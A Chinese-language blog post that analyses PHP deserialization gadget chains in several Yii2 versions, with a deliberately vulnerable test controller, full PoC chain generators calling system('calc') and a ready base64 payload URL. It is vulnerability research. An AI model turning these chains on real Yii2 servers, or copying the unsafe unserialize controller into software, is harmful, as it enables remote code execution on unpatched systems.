YII2各版本反序列化分析
2023-11-06 15:52:17

环境搭建

  • Yii2 < 2.0.38

https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
https://www.yiichina.com/doc/guide/2.0/start-installation 安装

在 config/web.php中设置密钥,用于生成cookie
image.png

image.png
访问 /web/index.php即可

image.png

YII基础知识

基本都是复制,不爱看别看,我也不爱看,记着怕以后用上

运行机制

https://www.yiichina.com/doc/guide/2.0/runtime-overview
大概看一眼就可以了

应用组件

应用主体是服务定位器, 它部署一组提供各种不同功能的 应用组件 来处理请求。 例如,urlManager组件负责处理网页请求路由到对应的控制器。 db组件提供数据库相关服务等等。
有点难以理解,我个人的理解就是 “一些写好的轮子”,可以用 Yii::$app->的方式去调用,并且还可以去自定义写轮子?这个我就没去深入理解了,因为我本身要复现漏洞,也不是一定要学会开发

[
    'components' => [
        // 使用类名注册 "cache" 组件
        'cache' => 'yii\caching\ApcCache',

        // 使用配置数组注册 "db" 组件
        'db' => [
            'class' => 'yii\db\Connection',
            'dsn' => 'mysql:host=localhost;dbname=demo',
            'username' => 'root',
            'password' => '',
        ],

        // 使用函数注册"search" 组件
        'search' => function () {
            return new app\components\SolrService;
        },
    ],
]

路由引导与创建URL

这个大概看一眼就行吧?反正我是感觉没太大意义

请求

https://www.yiichina.com/doc/guide/2.0/runtime-requests
获取get和post参数用的

$request = Yii::$app->request;

$get = $request->get(); 
// 等价于: $get = $_GET;

$id = $request->get('id');   
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : null;

$id = $request->get('id', 1);   
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : 1;

$post = $request->post(); 
// 等价于: $post = $_POST;

$name = $request->post('name');   
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : null;

$name = $request->post('name', '');   
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : '';

获取PUT PATCH或者其他request方法提交的参数

$request = Yii::$app->request;

// 返回所有参数
$params = $request->bodyParams;

// 返回参数 "id"
$param = $request->getBodyParam('id');

判断请求方法

$request = Yii::$app->request;

if ($request->isAjax) { /* 该请求是一个 AJAX 请求 */ }
if ($request->isGet)  { /* 请求方法是 GET */ }
if ($request->isPost) { /* 请求方法是 POST */ }
if ($request->isPut)  { /* 请求方法是 PUT */ }

检测url

url:返回 /admin/index.php/product?id=100,URL 不包括主机信息部分。
absoluteUrl:返回 http://example.com/admin/index.php/product?id=100, 包含host infode的整个URL。
hostInfo:返回 http://example.com, 只有主机信息部分。
pathInfo:返回 /product, 这个是入口脚本之后,问号之前(查询字符串)的部分。
queryString:返回 id=100,问号之后的部分。
baseUrl:返回 /admin,主机信息之后, 入口脚本之前的部分。
scriptUrl:返回 /admin/index.php,没有路径信息和查询字符串部分。
serverName:返回 example.com,URL 中的主机名。
serverPort:返回 80,这是 web 服务中使用的端口。

http头

// $headers 是一个 yii\web\HeaderCollection 对象
$headers = Yii::$app->request->headers;

// 返回 Accept header 值
$accept = $headers->get('Accept');

if ($headers->has('User-Agent')) { /* 这是一个 User-Agent 头 */ }
  • userAgent:返回 User-Agent 头。
  • contentType:返回 Content-Type 头的值, Content-Type 是请求体中MIME类型数据。
  • acceptableContentTypes:返回用户可接受的内容MIME类型。 返回的类型是按照他们的质量得分来排序的。得分最高的类型将被最先返回。
  • acceptableLanguages:返回用户可接受的语言。 返回的语言是按照他们的偏好层次来排序的。第一个参数代表最优先的语言。

响应

不想记了,直接丢链接
https://www.yiichina.com/doc/guide/2.0/runtime-responses

漏洞复现

在controllers目录中新建TestController.php

<?php

namespace app\controllers;

use Yii;
use yii\web\Controller;


class TestController extends Controller{
    public function actionTest(){
        $request = Yii::$app->request;
        $name = $request->get("unserialize");
        return unserialize(base64_decode($name));

    }
}

POC

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'calc';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
http://yii:88/web/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjQ6ImNhbGMiO31pOjE7czozOiJydW4iO319fX0=

image.png

漏洞分析 <=2.0.37

查看2.0.38版本对于漏洞修复的提交
https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split
可以看见在framework/db/BatchQueryResult.php中增加了一个wakeup,很显然这个就是反序列化的入口
查看/vendor/yiisoft/yii2/db/BatchQueryResult.php的__destruct函数
image.png
可以看见__destruct调用了reset函数,如果$this->_dataReader不为空,则调用其close函数,那么这里是可以去调用魔术函数__call方法的
image.png
查找所有的__call方法,并且一个个排查
最终找到 /vendor/fzaninotto/faker/src/Faker/Generator.php
image.png
该call方法调用了format函数,进入format函数
image.png
查看getFormatter函数
image.png
我们可以通过控制$this->formatters键对应的值,从而控制call_user_func_array的一个参数,那么我们就需要一个参数可控导致RCE的函数
使用正则表达式进行查找call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)
image.png
yii\rest\CreateAction::run()
image.png
yii\rest\IndexAction::run()
image.png
两者均可,构造利用链

<?php


namespace yii\db {

    use Faker\Generator;

    class BatchQueryResult{
        public $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}

namespace Faker{

    use yii\rest\CreateAction;

    class Generator{
        public $formatters;
        public function __construct()
        {
            $this->formatters["close"] = [new CreateAction(),"run"];
        }


    }
}


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc";
        }

    }
}


namespace {

    use yii\db\BatchQueryResult;
    $s = new BatchQueryResult();
    echo base64_encode(serialize($s));
}

漏洞分析 <=2.0.38

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'calc';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

反序列化调用栈
image.png

调用Codeception\Extension\RunProcess的__destruct
image.png
进入stopprocess函数,从$this->processes中取出一个属性,并调用其isRunning方法
image.png
这里就可以去触发Faker\Generator的__call方法
image.png
后续也是一样的,从$this->formatters中取出call_user_func_array所要调用的run方法
image.pngimage.png
最终调用
image.png

漏洞分析 <=2.0.42

<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 1;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','calc');
echo(base64_encode(serialize($exp)));

入口仍然是Codeception\Extension\RunProcess的__destruct
image.png
调用了Faker\VaildGenerator的__call方法
image.png
该call方法中会使用call_user_func_array去调用$this->generator类的$name方法,并将返回值设置为$res
这里调用Faker\DefaultGenerator的__call方法,会返回当前类中的$this->default属性为$res赋值,
最终结束while时调用call_user_func,$this->validator与$res均可控,从而执行命令
image.png

Prev
2023-11-06 15:52:17
Next